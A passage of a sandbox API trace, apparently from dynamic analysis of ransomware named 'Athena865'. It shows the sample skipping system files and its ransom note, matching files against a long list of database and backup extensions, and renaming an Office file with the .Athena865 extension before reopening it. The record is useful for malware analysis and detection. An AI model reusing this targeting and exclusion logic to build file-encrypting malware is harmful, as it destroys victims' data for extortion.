out: pbBuffer=0x241d188) returned 1 [0149.091] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.092] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0149.102] CloseHandle (hObject=0x17c) returned 1 [0149.102] CloseHandle (hObject=0x154) returned 1 [0149.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.111] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD.DEV_COL.HXC", cAlternateFileName="WINWOR~1.HXC")) returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2=".") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="..") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="windows") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="bootmgr") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="temp") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="pagefile.sys") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="boot") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="ids.txt") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="ntuser.dat") returned 1 [0149.112] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="perflogs") returned 1 [0149.113] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2="MSBuild") returned 1 [0149.113] lstrlenW (lpString="WINWORD.DEV_COL.HXC") returned 19 [0149.113] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD.DEV_COL.HXC" | out: lpString1="WINWORD.DEV_COL.HXC") returned="WINWORD.DEV_COL.HXC" [0149.113] lstrlenW (lpString="WINWORD.DEV_COL.HXC") returned 19 [0149.113] lstrlenW (lpString="Athena865") returned 9 [0149.113] lstrcmpiW (lpString1="V_COL.HXC", lpString2="Athena865") returned 1 [0149.113] lstrlenW (lpString=".dll") returned 4 [0149.113] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2=".dll") returned 1 [0149.113] lstrlenW (lpString=".lnk") returned 4 [0149.113] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2=".lnk") returned 1 [0149.113] lstrlenW (lpString=".ini") returned 4 [0149.113] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2=".ini") returned 1 [0149.113] lstrlenW (lpString=".sys") returned 4 [0149.113] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXC", lpString2=".sys") returned 1 [0149.113] lstrlenW (lpString="WINWORD.DEV_COL.HXC") returned 19 [0149.113] lstrlenW (lpString="bak") returned 3 [0149.113] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0149.113] lstrlenW (lpString="ba_") returned 3 [0149.113] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0149.113] lstrlenW (lpString="dbb") returned 3 [0149.113] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0149.113] lstrlenW (lpString="vmdk") returned 4 [0149.113] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0149.113] lstrlenW (lpString="rar") returned 3 [0149.113] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0149.113] lstrlenW (lpString="zip") returned 3 [0149.113] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0149.113] lstrlenW (lpString="tgz") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0149.114] lstrlenW (lpString="vbox") returned 4 [0149.114] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0149.114] lstrlenW (lpString="vdi") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0149.114] lstrlenW (lpString="vhd") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0149.114] lstrlenW (lpString="vhdx") returned 4 [0149.114] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0149.114] lstrlenW (lpString="avhd") returned 4 [0149.114] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0149.114] lstrlenW (lpString="db") returned 2 [0149.114] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0149.114] lstrlenW (lpString="db2") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0149.114] lstrlenW (lpString="db3") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0149.114] lstrlenW (lpString="dbf") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0149.114] lstrlenW (lpString="mdf") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0149.114] lstrlenW (lpString="mdb") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0149.114] lstrlenW (lpString="sql") returned 3 [0149.114] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0149.114] lstrlenW (lpString="sqlite") returned 6 [0149.114] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0149.114] lstrlenW (lpString="sqlite3") returned 7 [0149.115] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0149.115] lstrlenW (lpString="sqlitedb") returned 8 [0149.115] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0149.115] lstrlenW (lpString="xml") returned 3 [0149.115] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0149.115] lstrlenW (lpString="$er") returned 3 [0149.115] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0149.115] lstrlenW (lpString="4dd") returned 3 [0149.115] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0149.115] lstrlenW (lpString="4dl") returned 3 [0149.115] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0149.115] lstrlenW (lpString="^^^") returned 3 [0149.115] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0149.115] lstrlenW (lpString="abs") returned 3 [0149.115] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0149.115] lstrlenW (lpString="abx") returned 3 [0149.115] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0149.115] lstrlenW (lpString="accdb") returned 5 [0149.115] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0149.115] lstrlenW (lpString="accdc") returned 5 [0149.115] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0149.115] lstrlenW (lpString="accde") returned 5 [0149.115] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0149.115] lstrlenW (lpString="accdr") returned 5 [0149.115] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0149.115] lstrlenW (lpString="accdt") returned 5 [0149.115] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0149.115] lstrlenW (lpString="accdw") returned 5 [0149.115] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0149.116] lstrlenW (lpString="accft") returned 5 [0149.116] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0149.116] lstrlenW (lpString="adb") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0149.116] lstrlenW (lpString="adb") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0149.116] lstrlenW (lpString="ade") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0149.116] lstrlenW (lpString="adf") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0149.116] lstrlenW (lpString="adn") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0149.116] lstrlenW (lpString="adp") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0149.116] lstrlenW (lpString="alf") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0149.116] lstrlenW (lpString="ask") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0149.116] lstrlenW (lpString="btr") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0149.116] lstrlenW (lpString="cat") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0149.116] lstrlenW (lpString="cdb") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0149.116] lstrlenW (lpString="ckp") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0149.116] lstrlenW (lpString="cma") returned 3 [0149.116] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0149.116] lstrlenW (lpString="cpd") returned 3 [0149.117] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0149.117] lstrlenW (lpString="dacpac") returned 6 [0149.117] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0149.117] lstrlenW (lpString="dad") returned 3 [0149.117] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0149.117] lstrlenW (lpString="dadiagrams") returned 10 [0149.117] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="dadiagrams") returned 1 [0149.117] lstrlenW (lpString="daschema") returned 8 [0149.117] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0149.117] lstrlenW (lpString="db-journal") returned 10 [0149.117] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="db-journal") returned 1 [0149.117] lstrlenW (lpString="db-shm") returned 6 [0149.117] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0149.117] lstrlenW (lpString="db-wal") returned 6 [0149.117] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0149.117] lstrlenW (lpString="dbc") returned 3 [0149.117] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0149.117] lstrlenW (lpString="dbs") returned 3 [0149.117] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0149.117] lstrlenW (lpString="dbt") returned 3 [0149.117] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0149.117] lstrlenW (lpString="dbv") returned 3 [0149.117] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0149.117] lstrlenW (lpString="dbx") returned 3 [0149.117] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0149.117] lstrlenW (lpString="dcb") returned 3 [0149.117] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0149.117] lstrlenW (lpString="dct") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="dct") returned 1 [0149.118] lstrlenW (lpString="dcx") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="dcx") returned 1 [0149.118] lstrlenW (lpString="ddl") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="ddl") returned 1 [0149.118] lstrlenW (lpString="dlis") returned 4 [0149.118] lstrcmpiW (lpString1=".HXC", lpString2="dlis") returned -1 [0149.118] lstrlenW (lpString="dp1") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="dp1") returned 1 [0149.118] lstrlenW (lpString="dqy") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="dqy") returned 1 [0149.118] lstrlenW (lpString="dsk") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="dsk") returned 1 [0149.118] lstrlenW (lpString="dsn") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="dsn") returned 1 [0149.118] lstrlenW (lpString="dtsx") returned 4 [0149.118] lstrcmpiW (lpString1=".HXC", lpString2="dtsx") returned -1 [0149.118] lstrlenW (lpString="dxl") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="dxl") returned 1 [0149.118] lstrlenW (lpString="eco") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="eco") returned 1 [0149.118] lstrlenW (lpString="ecx") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="ecx") returned 1 [0149.118] lstrlenW (lpString="edb") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="edb") returned 1 [0149.118] lstrlenW (lpString="epim") returned 4 [0149.118] lstrcmpiW (lpString1=".HXC", lpString2="epim") returned -1 [0149.118] lstrlenW (lpString="fcd") returned 3 [0149.118] lstrcmpiW (lpString1="HXC", lpString2="fcd") returned 1 [0149.118] lstrlenW (lpString="fdb") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fdb") returned 1 [0149.119] lstrlenW (lpString="fic") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fic") returned 1 [0149.119] lstrlenW (lpString="flexolibrary") returned 12 [0149.119] lstrcmpiW (lpString1=".DEV_COL.HXC", lpString2="flexolibrary") returned -1 [0149.119] lstrlenW (lpString="fm5") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fm5") returned 1 [0149.119] lstrlenW (lpString="fmp") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fmp") returned 1 [0149.119] lstrlenW (lpString="fmp12") returned 5 [0149.119] lstrcmpiW (lpString1="L.HXC", lpString2="fmp12") returned 1 [0149.119] lstrlenW (lpString="fmpsl") returned 5 [0149.119] lstrcmpiW (lpString1="L.HXC", lpString2="fmpsl") returned 1 [0149.119] lstrlenW (lpString="fol") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fol") returned 1 [0149.119] lstrlenW (lpString="fp3") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fp3") returned 1 [0149.119] lstrlenW (lpString="fp4") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fp4") returned 1 [0149.119] lstrlenW (lpString="fp5") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fp5") returned 1 [0149.119] lstrlenW (lpString="fp7") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fp7") returned 1 [0149.119] lstrlenW (lpString="fpt") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="fpt") returned 1 [0149.119] lstrlenW (lpString="frm") returned 3 [0149.119] lstrcmpiW (lpString1="HXC", lpString2="frm") returned 1 [0149.119] lstrlenW (lpString="gdb") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0149.120] lstrlenW (lpString="gdb") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0149.120] lstrlenW (lpString="grdb") returned 4 [0149.120] lstrcmpiW (lpString1=".HXC", lpString2="grdb") returned -1 [0149.120] lstrlenW (lpString="gwi") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="gwi") returned 1 [0149.120] lstrlenW (lpString="hdb") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="hdb") returned 1 [0149.120] lstrlenW (lpString="his") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="his") returned 1 [0149.120] lstrlenW (lpString="ib") returned 2 [0149.120] lstrcmpiW (lpString1="XC", lpString2="ib") returned 1 [0149.120] lstrlenW (lpString="idb") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="idb") returned -1 [0149.120] lstrlenW (lpString="ihx") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="ihx") returned -1 [0149.120] lstrlenW (lpString="itdb") returned 4 [0149.120] lstrcmpiW (lpString1=".HXC", lpString2="itdb") returned -1 [0149.120] lstrlenW (lpString="itw") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="itw") returned -1 [0149.120] lstrlenW (lpString="jet") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="jet") returned -1 [0149.120] lstrlenW (lpString="jtx") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="jtx") returned -1 [0149.120] lstrlenW (lpString="kdb") returned 3 [0149.120] lstrcmpiW (lpString1="HXC", lpString2="kdb") returned -1 [0149.120] lstrlenW (lpString="kexi") returned 4 [0149.121] lstrcmpiW (lpString1=".HXC", lpString2="kexi") returned -1 [0149.121] lstrlenW (lpString="kexic") returned 5 [0149.121] lstrcmpiW (lpString1="L.HXC", lpString2="kexic") returned 1 [0149.121] lstrlenW (lpString="kexis") returned 5 [0149.121] lstrcmpiW (lpString1="L.HXC", lpString2="kexis") returned 1 [0149.121] lstrlenW (lpString="lgc") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="lgc") returned -1 [0149.121] lstrlenW (lpString="lwx") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="lwx") returned -1 [0149.121] lstrlenW (lpString="maf") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="maf") returned -1 [0149.121] lstrlenW (lpString="maq") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="maq") returned -1 [0149.121] lstrlenW (lpString="mar") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="mar") returned -1 [0149.121] lstrlenW (lpString="marshal") returned 7 [0149.121] lstrcmpiW (lpString1="COL.HXC", lpString2="marshal") returned -1 [0149.121] lstrlenW (lpString="mas") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="mas") returned -1 [0149.121] lstrlenW (lpString="mav") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="mav") returned -1 [0149.121] lstrlenW (lpString="maw") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="maw") returned -1 [0149.121] lstrlenW (lpString="mdbhtml") returned 7 [0149.121] lstrcmpiW (lpString1="COL.HXC", lpString2="mdbhtml") returned -1 [0149.121] lstrlenW (lpString="mdn") returned 3 [0149.121] lstrcmpiW (lpString1="HXC", lpString2="mdn") returned -1 [0149.121] lstrlenW (lpString="mdt") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="mdt") returned -1 [0149.122] lstrlenW (lpString="mfd") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="mfd") returned -1 [0149.122] lstrlenW (lpString="mpd") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="mpd") returned -1 [0149.122] lstrlenW (lpString="mrg") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="mrg") returned -1 [0149.122] lstrlenW (lpString="mud") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="mud") returned -1 [0149.122] lstrlenW (lpString="mwb") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="mwb") returned -1 [0149.122] lstrlenW (lpString="myd") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="myd") returned -1 [0149.122] lstrlenW (lpString="ndf") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="ndf") returned -1 [0149.122] lstrlenW (lpString="nnt") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="nnt") returned -1 [0149.122] lstrlenW (lpString="nrmlib") returned 6 [0149.122] lstrcmpiW (lpString1="OL.HXC", lpString2="nrmlib") returned 1 [0149.122] lstrlenW (lpString="ns2") returned 3 [0149.122] lstrcmpiW (lpString1="HXC", lpString2="ns2") returned -1 [0149.122] lstrlenW (lpString="ns3") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="ns3") returned -1 [0149.123] lstrlenW (lpString="ns4") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="ns4") returned -1 [0149.123] lstrlenW (lpString="nsf") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="nsf") returned -1 [0149.123] lstrlenW (lpString="nv") returned 2 [0149.123] lstrcmpiW (lpString1="XC", lpString2="nv") returned 1 [0149.123] lstrlenW (lpString="nv2") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="nv2") returned -1 [0149.123] lstrlenW (lpString="nwdb") returned 4 [0149.123] lstrcmpiW (lpString1=".HXC", lpString2="nwdb") returned -1 [0149.123] lstrlenW (lpString="nyf") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="nyf") returned -1 [0149.123] lstrlenW (lpString="odb") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0149.123] lstrlenW (lpString="odb") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0149.123] lstrlenW (lpString="oqy") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="oqy") returned -1 [0149.123] lstrlenW (lpString="ora") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="ora") returned -1 [0149.123] lstrlenW (lpString="orx") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="orx") returned -1 [0149.123] lstrlenW (lpString="owc") returned 3 [0149.123] lstrcmpiW (lpString1="HXC", lpString2="owc") returned -1 [0149.124] lstrlenW (lpString="p96") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="p96") returned -1 [0149.124] lstrlenW (lpString="p97") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="p97") returned -1 [0149.124] lstrlenW (lpString="pan") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="pan") returned -1 [0149.124] lstrlenW (lpString="pdb") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="pdb") returned -1 [0149.124] lstrlenW (lpString="pdm") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="pdm") returned -1 [0149.124] lstrlenW (lpString="pnz") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="pnz") returned -1 [0149.124] lstrlenW (lpString="qry") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="qry") returned -1 [0149.124] lstrlenW (lpString="qvd") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="qvd") returned -1 [0149.124] lstrlenW (lpString="rbf") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="rbf") returned -1 [0149.124] lstrlenW (lpString="rctd") returned 4 [0149.124] lstrcmpiW (lpString1=".HXC", lpString2="rctd") returned -1 [0149.124] lstrlenW (lpString="rod") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="rod") returned -1 [0149.124] lstrlenW (lpString="rodx") returned 4 [0149.124] lstrcmpiW (lpString1=".HXC", lpString2="rodx") returned -1 [0149.124] lstrlenW (lpString="rpd") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="rpd") returned -1 [0149.124] lstrlenW (lpString="rsd") returned 3 [0149.124] lstrcmpiW (lpString1="HXC", lpString2="rsd") returned -1 [0149.124] lstrlenW (lpString="sas7bdat") returned 8 [0149.124] lstrcmpiW (lpString1="_COL.HXC", lpString2="sas7bdat") returned -1 [0149.125] lstrlenW (lpString="sbf") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="sbf") returned -1 [0149.125] lstrlenW (lpString="scx") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="scx") returned -1 [0149.125] lstrlenW (lpString="sdb") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="sdb") returned -1 [0149.125] lstrlenW (lpString="sdc") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="sdc") returned -1 [0149.125] lstrlenW (lpString="sdf") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="sdf") returned -1 [0149.125] lstrlenW (lpString="sis") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="sis") returned -1 [0149.125] lstrlenW (lpString="spq") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="spq") returned -1 [0149.125] lstrlenW (lpString="te") returned 2 [0149.125] lstrcmpiW (lpString1="XC", lpString2="te") returned 1 [0149.125] lstrlenW (lpString="teacher") returned 7 [0149.125] lstrcmpiW (lpString1="COL.HXC", lpString2="teacher") returned -1 [0149.125] lstrlenW (lpString="tmd") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="tmd") returned -1 [0149.125] lstrlenW (lpString="tps") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="tps") returned -1 [0149.125] lstrlenW (lpString="trc") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0149.125] lstrlenW (lpString="trc") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0149.125] lstrlenW (lpString="trm") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="trm") returned -1 [0149.125] lstrlenW (lpString="udb") returned 3 [0149.125] lstrcmpiW (lpString1="HXC", lpString2="udb") returned -1 [0149.126] lstrlenW (lpString="udl") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="udl") returned -1 [0149.126] lstrlenW (lpString="usr") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="usr") returned -1 [0149.126] lstrlenW (lpString="v12") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="v12") returned -1 [0149.126] lstrlenW (lpString="vis") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="vis") returned -1 [0149.126] lstrlenW (lpString="vpd") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="vpd") returned -1 [0149.126] lstrlenW (lpString="vvv") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="vvv") returned -1 [0149.126] lstrlenW (lpString="wdb") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="wdb") returned -1 [0149.126] lstrlenW (lpString="wmdb") returned 4 [0149.126] lstrcmpiW (lpString1=".HXC", lpString2="wmdb") returned -1 [0149.126] lstrlenW (lpString="wrk") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="wrk") returned -1 [0149.126] lstrlenW (lpString="xdb") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="xdb") returned -1 [0149.126] lstrlenW (lpString="xld") returned 3 [0149.126] lstrcmpiW (lpString1="HXC", lpString2="xld") returned -1 [0149.126] lstrlenW (lpString="xmlff") returned 5 [0149.126] lstrcmpiW (lpString1="L.HXC", lpString2="xmlff") returned -1 [0149.126] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.Athena865") returned 77 [0149.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.athena865"), dwFlags=0x1) returned 1 [0149.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, 